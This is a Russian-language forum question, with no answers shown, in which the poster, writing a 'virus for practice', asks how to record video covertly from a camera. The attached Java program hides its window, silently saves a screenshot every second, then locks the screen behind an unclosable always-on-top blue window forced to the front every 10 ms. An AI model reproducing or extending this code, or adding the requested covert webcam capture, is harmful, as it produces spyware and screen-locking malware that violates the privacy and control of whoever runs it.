Камера и Java Как?

Пишу вирус для практики и можно как нибудь чтобы видео с камеры снялось? Я хотела из фото сделать видео как можно сделать? мой код

package lesson18; 
import java.awt.*; 
import java.io.*; 
import java.awt.event.*; 
import java.awt.image.*; 
import javax.imageio.*; 
import javax.swing.*; 
public class prog18 { 

public static void main(String[] args) { 
new myFrame(); 

} 
} 

class myFrame extends JFrame{ 
private Robot rob; 
private Timer tm; 
private int screen =0; 
private Frame wnd; 

public myFrame() { 
try { 
rob = new Robot(); 
} 
catch(Exception e) {} 

tm = new Timer(1000,new ActionListener() { 
public void actionPerformed(ActionEvent e) { 
saveScreen(); 
} 
}); 
tm.start(); 
setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE); 
setVisible(true); 
setVisible(false); 
} 
private void saveScreen() { 
screen++; 

Dimension dm = Toolkit.getDefaultToolkit().getScreenSize(); 
int w =dm.width; 
int h = dm.height; 
try { 
BufferedImage img = rob.createScreenCapture(new Rectangle(0,0,w,h)); 
ImageIO.write(img,"PNG",new File("c:\\java\\img"+screen+".png")); 
} 
catch(Exception e) {} 
if(screen==60) { 
tm.stop(); 
wnd = new Frame(); 
wnd.setResizable(false); 
wnd.setBounds(0,0,w,h); 
wnd.setBackground(Color.BLUE); 
wnd.setAlwaysOnTop(true); 
wnd.setUndecorated(true); 
wnd.setOpacity(1f); 




wnd.addWindowListener(new WindowAdapter() { 
public void windowIconified(WindowEvent arg0) { 
wnd.setExtendedState(Frame.MAXIMIZED_BOTH); 
} 
}); 
wnd.setVisible(true); 
tm = new Timer(10,new ActionListener() { 
public void actionPerformed(ActionEvent e) { 
wnd.toFront(); 
} 
}); 
tm.start(); 

} 
} 
}

Ответы (0 шт):